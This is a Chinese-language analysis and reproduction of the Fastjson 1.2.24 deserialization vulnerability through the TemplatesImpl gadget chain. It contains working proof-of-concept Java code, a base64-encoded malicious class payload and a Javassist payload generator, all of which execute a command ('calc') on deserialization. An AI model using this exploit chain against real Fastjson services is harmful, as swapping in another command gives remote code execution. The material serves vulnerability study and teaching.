FastJson在<= 1.2.24
版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:
- fastjson反序列化时,JSON字符串中的
@type
字段,用来表明指定反序列化的目标恶意对象类。 - fastjson反序列化时,字符串时会自动调用恶意对象的构造方法,
set
方法,get
方法,若这类方法中存在利用点,即可完成漏洞利用。
主要存在两种利用方式:
- JdbcRowSetImpl(JNDI)
- TemplatesImpl(Feature.SupportNonPublicField)
这里分析TemplatesImpl
利用链
漏洞复现
首先创建一个maven
项目、导入Fastjson1.2.23
并自动下载相关依赖
然后写入如下代码至Main.java
:
java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
POC中的利用链TemplatesImpl
类的中的绝大多数成员变量是被private
修饰,影响漏洞的主要是_bytecodes
和 _outputProperties
两个成员变量。
@type
:反序列化的恶意目标类型TemplatesImpl
,FastJson最终会按照这个类反序列化得到实例_bytecodes
:继承AbstractTranslet
类的恶意类字节码,使用Base64
编码。_outputProperties
:TemplatesImpl
反序列化过程中会调用getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行。_name
:调用getTransletInstance
时会判断其是否为null
,为null
直接return
,不会进入到恶意类的实例化过程;_tfactory
:defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null
会出现异常;
运行之后直接弹出计算器:
漏洞分析
上面的text
里面的_bytecodes
的内容是以下内容通过javac
编译成字节码文件(.class
)再base64
编码后的结果:
java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
可以看到,我们通过以上代码直接定义类Test
,并在类的构造方法中执行calc
的命令;至于为什么要写上述代码的第14
-21
行,因为Test
类是继承AbstractTranslet
的,上述代码的两个transform
方法都是实现AbstractTranslet
接口的抽象方法,因此都是需要的;具体来说的话,第一个transform
带有SerializationHandler
参数,是为了把XML
文档转换为另一种格式,第二个transform
带有DTMAxisIterator
参数,是为了对XML
文档中的节点进行迭代。
**总结:**对于上述代码,应该这么理解:建立Test
类,并让其继承AbstractTranslet
类,然后通过Test t = new Test();
来初始化,这样我就是假装要把xml
文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc
,所以会弹出计算器。
为什么要继承AbstractTranslet
类
Java
的ClassLoader
类提供了defineClass()
方法,可以把字节数组转换成Java
类的实例,
defineClass的利用方式
public class TouchFile{ public TouchFile() throws Exception { Runtime.getRuntime().exec("calc"); } }
把它编译成字节码后Base64
之后运行
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length); yyds.newInstance();
成功弹出了计算器
但是这里面的方法的作用域是被Protected
修饰的,也就是说这个方法只能在ClassLoader
类中访问,不能被其他包中的类访问:
TransletClassLoader
类继承了ClassLoader
类
并且在TransletClassLoader
类中,defineClass
调用了ClassLoader
里面的defineClass
方法:
然后追踪TransletClassLoader
的使用,发现是defineTransletClasses
:
再往上追踪defineTransletClasses
的使用,发现是getTransletInstance
:
到此为止,要么是Private
修饰要么就是Protected
修饰,需要再往上继续追踪,发现是newTransformer
,可以看到此时已经是public
了:
因此,利用链如下:
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
基于此,我们可以写出如下POC
:
java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class Main {
public static class test{
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "test" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
try {
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'test',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
解释一下这段POC:
首先,代码导入了一些类,包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,还有javassist库的一些类。
在Main类中定义了一个内部静态类test,没有任何具体实现。
在main方法中,代码创建了一个ClassPool对象,它是Javassist库的一部分,用于管理类的池。然后使用pool.get(test.class.getName())获取了test类的CtClass对象。
接下来,代码构造了一个字符串变量cmd,内容是要执行的命令,这里是java.lang.Runtime.getRuntime().exec("calc");,即执行计算器程序。
然后,通过cc.makeClassInitializer().insertBefore(cmd)在test类中插入了一个类初始化器,该类初始化器会在类初始化时执行指定的命令。
接下来,代码生成一个随机的类名,并使用cc.setName(randomClassName)将test类的名称修改为随机生成的类名。
然后,通过cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))设置test类的父类为AbstractTranslet类,这是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一个实现。
最后,代码使用Fastjson库解析一个JSON字符串text1,并尝试将其转换为Java对象。这里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为目标类型。在解析过程中,Fastjson库的Feature.SupportNonPublicField特性被启用,以支持解析非公共字段。
对于JSON字符串text1
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'test',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
@type
:反序列化的恶意目标类型TemplatesImpl
,FastJson最终会按照这个类反序列化得到实例_bytecodes
:继承AbstractTranslet
类的恶意类字节码,使用Base64
编码。最终这个类会被加载并使用newInstance()
实例化_outputProperties
:TemplatesImpl
反序列化过程中会调用getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行。_name
:调用getTransletInstance
时会判断其是否为null
,为null
直接return
,不会进入到恶意类的实例化过程;_tfactory
:defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null
会出现异常
为什么这么构造呢?还是直接看defineTransletClasses
这里:
可以看到,逻辑是这样的:先判断_bytecodes
是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader
去加载_bytecodes
中的byte[]
,并对类的父类进行判断,如果是ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,那么就把类成员属性的_transletIndex
设置成当前循环中的标记位,第一次调用的话,就是class[0]
。
可以看到,这里的_bytecodes
和_outputProperties
都是类成员变量。同时,_outputProperties
有自己的getter
方法,也就是getOutputProperties
。
在Fastjson库的反序列化过程中,当遇到TemplatesImpl
类的实例时,Fastjson会尝试调用getOutputProperties()
方法来获取输出属性。
这是由于Fastjson库在解析过程中会调用目标类的一些方法,以了解对象的结构和属性。而
TemplatesImpl
类中的getOutputProperties()
方法是Java API规定的方法之一,Fastjson会默认调用它。
而getOutputProperties()
方法触发了整个漏洞利用流程:getOutputProperties()
-> newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
/ EvilClass.newInstance()
Java
的ClassLoader
类提供了defineClass()
方法,可以把字节数组转换成Java
类的实例